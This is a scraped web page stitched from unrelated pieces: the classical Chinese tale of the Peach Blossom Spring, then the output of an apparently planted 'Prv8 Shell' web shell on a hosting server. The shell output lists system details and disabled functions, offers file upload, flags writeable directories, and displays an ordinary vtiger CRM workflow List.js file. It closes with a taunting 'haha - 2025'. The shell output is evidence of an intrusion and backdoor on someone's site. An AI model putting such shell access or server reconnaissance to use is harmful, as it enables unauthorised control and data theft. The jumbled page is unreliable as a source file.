晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/v7/modules/Settings/Workflows/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/layouts/v7/modules/Settings/Workflows/resources/List.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/
Settings_Vtiger_List_Js("Settings_Workflows_List_Js", {
    
    triggerCreate : function(url) {
        var selectedModule = jQuery('#moduleFilter').val();
        if(selectedModule.length > 0) {
            url += '&source_module='+selectedModule
        }
        window.location.href = url;
    }
}, {
   
    registerFilterChangeEvent: function () {
        var thisInstance = this;
        var container = this.getListViewContainer();
        container.on('change', '#moduleFilter', function (e) {
            jQuery('#pageNumber').val("1");
            jQuery('#pageToJump').val('1');
            jQuery('#orderBy').val('');
            jQuery("#sortOrder").val('');
            var params = {
                module: app.getModuleName(),
                parent: app.getParentModuleName(),
                sourceModule: jQuery(e.currentTarget).val()
            }
            thisInstance.loadListViewRecords(params);
        });
    },
    
    loadListViewRecords : function(urlParams) {
        var self = this;
        var aDeferred = jQuery.Deferred();
        var defParams = this.getDefaultParams();
        if(typeof urlParams == "undefined") {
            urlParams = {};
        }
        urlParams = jQuery.extend(defParams, urlParams);
        app.helper.showProgress();
        app.request.pjax({data:urlParams}).then(function(err, res){
            self.placeListContents(res);
            app.helper.hideProgress();
            jQuery("input[name='workflowstatus']").bootstrapSwitch();
            aDeferred.resolve(res);
		});
        return aDeferred.promise();
    },
    
    registerRowClickEvent : function(){
        var thisInstance = this;
		var listViewContentDiv = this.getListViewContainer();
        
        listViewContentDiv.on('click','.listViewEntries',function(e){
            var elem = jQuery(e.currentTarget);
            var targetElem = jQuery(e.target);
            if(targetElem.closest('.bootstrap-switch').length != 0){
                return false;
            }
			if(targetElem.closest('.deleteRecordButton').length != 0){
				return;
			}
            var recordUrl = elem.data('recordurl');
            if(typeof recordUrl == 'undefined') {
                return;
            }
            
			var postData = thisInstance.getDefaultParams();
			for(var key in postData) {
				if(postData[key]) {
					postData['return'+key] = postData[key];
					delete postData[key];
				} else {
					delete postData[key];
				}
			}
            window.location.href = recordUrl +'&'+ $.param(postData);
        });
    },
   
    getListViewContainer: function () {
        if (this.listViewContainer === false) {
            this.listViewContainer = jQuery('#list-content');
        }
        return this.listViewContainer;
    },
   
    placeListContents : function(contents) {
        var container = this.getListViewContainer();
        container.html(contents);
        this.registerSelect2ForModuleFilter();
    },
    
    registerSelect2ForModuleFilter : function() {
        vtUtils.showSelect2ElementView(jQuery('#moduleFilter'), {
            formatResult: function(result) {
                var element = jQuery(result.element);
                var count = element.data('count');
                if (!count) {
                    count = 0;
                }

                return result.text + "  -  " + count;
            },
            formatSelection: function(result) {
                var element = jQuery(result.element);
                var count = element.data('count');
                if (!count) {
                    count = 0;
                }

                return result.text
                + "&nbsp;&nbsp;<span class='label-success badge' style='display: inline;'>"
                + count
                + "</span>";
            }
        });
    },
   
    registerEventForChangeWorkflowState: function (listViewContainer) {
        jQuery(listViewContainer).on('switchChange.bootstrapSwitch', "input[name='workflowstatus']", function (e) {
            var currentElement = jQuery(e.currentTarget);
            if(currentElement.val() == 'on'){
                currentElement.attr('value','off');
            } else {
                currentElement.attr('value','on');
            }
            var params = {
                module : app.getModuleName(),
                parent : app.getParentModuleName(),
                'action' : 'SaveAjax',
                'record' : currentElement.data('id'),
                'status' : currentElement.val()
            }
         
            app.request.post({
                data:params
            }).then(function(error,data){
                if(data){
                    app.helper.showSuccessNotification({
                        message : app.vtranslate('JS_WORKFLOWS_STATUS_CHANGED')
                        });
                }
            });
        });
    },
   
    getDefaultParams : function() {
        var container = this.getListViewContainer();
        var pageNumber = container.find('#pageNumber').val();
        var module = this.getModuleName();
        var parent = app.getParentModuleName();
        var params = {
            'module': module,
            'parent': parent,
            'page' : pageNumber,
            'view' : "List",
            'sourceModule' : jQuery('#moduleFilter').val(),
            'search_value' : jQuery('.searchWorkflows').val(),
            'search_key' : jQuery('.searchWorkflows').val()
        }
        return params;
    },
   
    registerSearch : function() {
        var thisInstance = this;
        var container = this.getListViewContainer();
        container.on('keyup', '.searchWorkflows', function(e) {
            if(e.which == 13) {
                thisInstance.loadListViewRecords({page: 1});
            }
        });
    },
    /**
     * Function shows and hide when user enter on a row and leave respectively
     * @returns {undefined}
     */
   registerShowDeleteActionOnHover: function(){
       var listViewContentDiv = this.getListViewContainer();
        listViewContentDiv.on('mouseover','tr.listViewEntries',function(e){
            jQuery(e.currentTarget).find('.deleteRecordButton').css('opacity',0.6);
        }).on('mouseleave','tr.listViewEntries',function(e){
            jQuery(e.currentTarget).find('.deleteRecordButton').css('opacity',0);
        });
   },
    registerEvents: function () {
        var thisInstance = this;
        this._super();
        this.registerRowClickEvent();
        this.registerFilterChangeEvent();
        this.registerDeleteRecordClickEvent();
        var listViewContainer = this.getListViewContainer();
        this.registerShowDeleteActionOnHover();
        if (listViewContainer.length > 0) {
            jQuery("input[name='workflowstatus']").bootstrapSwitch();
            this.registerEventForChangeWorkflowState(listViewContainer);
            this.registerSearch();
            this.registerSelect2ForModuleFilter();
        }
    }
});

haha - 2025